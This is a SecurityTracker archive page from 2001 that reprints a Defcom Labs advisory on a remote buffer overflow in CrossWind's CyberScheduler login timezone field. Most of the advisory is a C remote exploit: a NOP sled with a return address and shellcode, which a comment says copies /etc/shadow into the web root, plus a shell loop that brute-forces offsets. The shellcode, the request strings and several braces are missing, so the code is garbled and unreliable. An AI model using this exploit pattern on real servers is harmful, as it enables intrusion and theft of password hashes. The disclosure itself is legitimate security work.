Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Calendar)  >   CyberScheduler Vendors:   CrossWind
CrossWind's CyberScheduler Calendar and Scheduling Software Allows Remote Users to Execute Arbitrary Code on the Server
SecurityTracker Alert ID:  1001351
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Apr 18 2001
Impact:   Denial of service via network, Execution of arbitrary code via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  

Description:   Defcom Labs released an advisory for CrossWind's CyberScheduler calendar and scheduling software, warning that it allows remote users to execute arbitrary code on the server.

Defcom reports that there is a buffer overflow in the login process. A "timezone" variable is assumed to be 262 bytes, but can be overflowed. The advisory reports that a working username is not required to trigger the vulnerability, as the buffer overflow occurs before the username is set.

The offending command is reported to be:


If the variable "tzs" is larger than 300 bytes, the program will crash, allowing the remote user to execute arbitrary code.

A demonstration exploit is included in the source message.

Impact:   A remote user can cause arbitrary code to be executed on the server with the privileges of the associated web server.
Solution:   The vendor has released a fix. See the vendor URL for a patch.
Vendor URL: (Links to External Site)
Cause:   Boundary error
Underlying OS:  Linux (Caldera/SCO), Linux (Debian), Linux (Mandriva/Mandrake), Linux (Red Hat Linux), Linux (Slackware), Linux (SuSE), UNIX (Solaris - SunOS), Windows (NT), Windows (2000)

Message History:   None.

 Source Message Contents

Subject:  Cyberscheduler remote root compromise

                 Defcom Labs Advisory def-2000-18

            Cyberscheduler remote root/execution compromise

Author: Enrique A. Sanchez Montellano <>
Release Date: 2001-04-17
------------------------=[Brief Description]=-------------------------
Due to no bounds checking in the condition of the timetzone variable
in the login verification in the cyberscheduler paackage a buffer
overflow occurs, thus rendering execution on the remote machine.

------------------------=[Affected Systems]=--------------------------
Linux: Mandrake, RedHat, Slackware, Caldera, Suse, Debian.
Windows: NT, 2000 (IIS 4.0 and 5.0).
Solaris: 2.5, 2.6, 7, 8.

----------------------=[Detailed Description]=------------------------
Due to an assumption in the size of the variable passed as timezone
in the login procedure of the cybercalendar cyberscheduler it occurs
a buffer overflow that renders the complete stack.

The size of the variable, wich is 262 bytes, makes the assumption that
the size of the timezone will not change, while mapping the login the
deamon websyncd tries to set the variable timezone and then the overflow
occurs, there is no need to have a working username in the machine
the buffer overflow occurs before the username is set.

The offending command is:


If the variable tzs is increased to over 300 the program crashes thus
rendering the stack completly to the intruder.

A proof of concept exploit has been coded and is being released to test
is your system is vulnerable.

--- x-cybershcehd.c ---

  TimeZONE buffer overflow on cgi script rendering complete control of
the stack.

  Enrique A. Sanchez Montellano

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <time.h>
#include <wait.h>
#include <errno.h>

#define OFFSET       0
#define ALIGN        0
#define BUFFER       264

/* Definicion de colores */

#define VERDE   "\E[32m"
#define BRILLOSO   "\E[1m"
#define NORMAL  "\E[m"
#define ROJO  "\E[31m"
#define CELESTE "\E[36m"
#define AZUL "\E[34m"
#define AMARILLO "\E[33m"
#define MORADO "\E[35m"

//passive port 0x8000 shell (written by agent0nd)
//static char Hellcode[]=

/* cp /etc/shadow /var/lib/httpd/htdocs */
static char Hellcode[]=

unsigned long resolver (char *serv) {
  struct sockaddr_in sinn;
  struct hostent *hent;

  hent = gethostbyname (serv);
  bzero ((char *) &sinn, sizeof (sinn));
  memcpy ((char *) &sinn.sin_addr, hent->h_addr, hent->h_length);
  return sinn.sin_addr.s_addr;


unsigned long get_sp(void) {
  __asm__("movl %esp, %eax");

void usage(char *name) {
  printf("%s <victim> <offset> <align> <buffer> \n\n", name);

int connex(u_long victim) {
  int sockfd;
  struct sockaddr_in hostaddr;

  if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {

  hostaddr.sin_port = htons(80);
  hostaddr.sin_addr.s_addr = victim;
  hostaddr.sin_family = AF_INET;

  if((connect(sockfd, (struct sockaddr *) &hostaddr, sizeof(hostaddr)))
< 0 ) {

   return sockfd;

int ataque(int victim, char *command) {
  int sockfd, retval, i;
  char tmp[256];
  fd_set rfds;
  struct timeval timer;
  char part1[1024] =
  char fancy[] = "Host:\nConnection: Keep-Alive\nUser-Agent:
Defcom Labs @ Spain version 0.1\nContent-type:

  sockfd = connex(victim);

  FD_SET(sockfd, &rfds);
  timer.tv_sec = 5;
  timer.tv_usec = 0;

  retval = select(sockfd + 1, NULL, &rfds, NULL, &timer);

  if(retval) {
   printf("%s[ + ] Atacking the server ... \n%s", VERDE, NORMAL);
   write(sockfd, "GET ", strlen("GET "));
   write(sockfd, part1, strlen(part1));
   write(sockfd, command, strlen(command));
   write(sockfd, "\n", strlen("\n"));
   // Fancy stuff ... LoL!
   write(sockfd, fancy, strlen(fancy));
   write(sockfd, "\n\n", strlen("\n\n"));
   for(i = 0; i < 256; i++) {
     tmp[i] = '\0';
   read(sockfd, tmp, sizeof(tmp));
  else {
   printf("%sTime out!!!!!\n%s", ROJO, NORMAL);


int main(int argc, char **argv) {
  int offset = OFFSET;
  int align = ALIGN;
  int buffer = BUFFER;
  struct hostent *hent;
  char *command;
  unsigned long addr;
  int i, victim;

  if(argc < 2) {

  if(argc > 2) offset = atoi(argv[2]);
  if(argc > 3) align = atoi(argv[3]);
  if(argc > 4) buffer = atoi(argv[4]);

  if((hent = gethostbyname(argv[1])) == NULL) {

  printf("%sX-Cybersched\n", AZUL);
  printf("Remote exploit .... by\n");
  printf("Enrique Sanchez (\n%s", NORMAL);

#ifdef DEBUG
  printf("%s[ + DEBUG + ] Buffer is %d\n%s", AMARILLO,  buffer, NORMAL);
  printf("%s[ + DEBUG + ] The size of the shellcode is %d\n%s",
AMARILLO, strlen(Hellcode), NORMAL);

  addr = 0xbfffffff - offset;
  command = (char *)malloc(buffer);

  printf("%s[ + ] Using addres: 0x%x\n%s", VERDE, addr, NORMAL);

#ifdef DEBUG
  printf("%s[ + DEBUG + ] Command right now is: %s\n\n%s", AMARILLO,
command, NORMAL);

  printf("%s[ + ] Filling buffer for exploitation ... \n%s", VERDE, NORMAL);

  for(i = 0; i < buffer; i += 4) {
   *(long *)&command[i] = 0x90909090;
  *(long *)&command[buffer - 4] = addr;

#ifdef DEBUG
  printf("%s[ + DEBUG + ] Command right now is: %s\n\n%s", AMARILLO,
command, NORMAL);

  memcpy(command + buffer - strlen(Hellcode) - 4, Hellcode,

#ifdef DEBUG
  printf("%s[ + DEBUG + ] Command right now is: %s\n\n%s", AMARILLO,
command, NORMAL);

  ataque(resolver(argv[1]), command);

  return 0;

--- x-cybdersched.c ---

--- ---
while [ $L -lt 12000 ]
echo $L
L=`expr $L + 1`
./x-cybershed $L
--- ---

Crosswind has developed a patch wich is available at their site.

-------------------------=[Vendor Response]=--------------------------
This problem was brought to crosswinds attention on february 15th
2001. They have worked fastly on the problem and have responded in a
very professional and excelent manner, thank you for your fast and
professional responses.

        This release was brought to you by Defcom Labs @ Spain



Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, LLC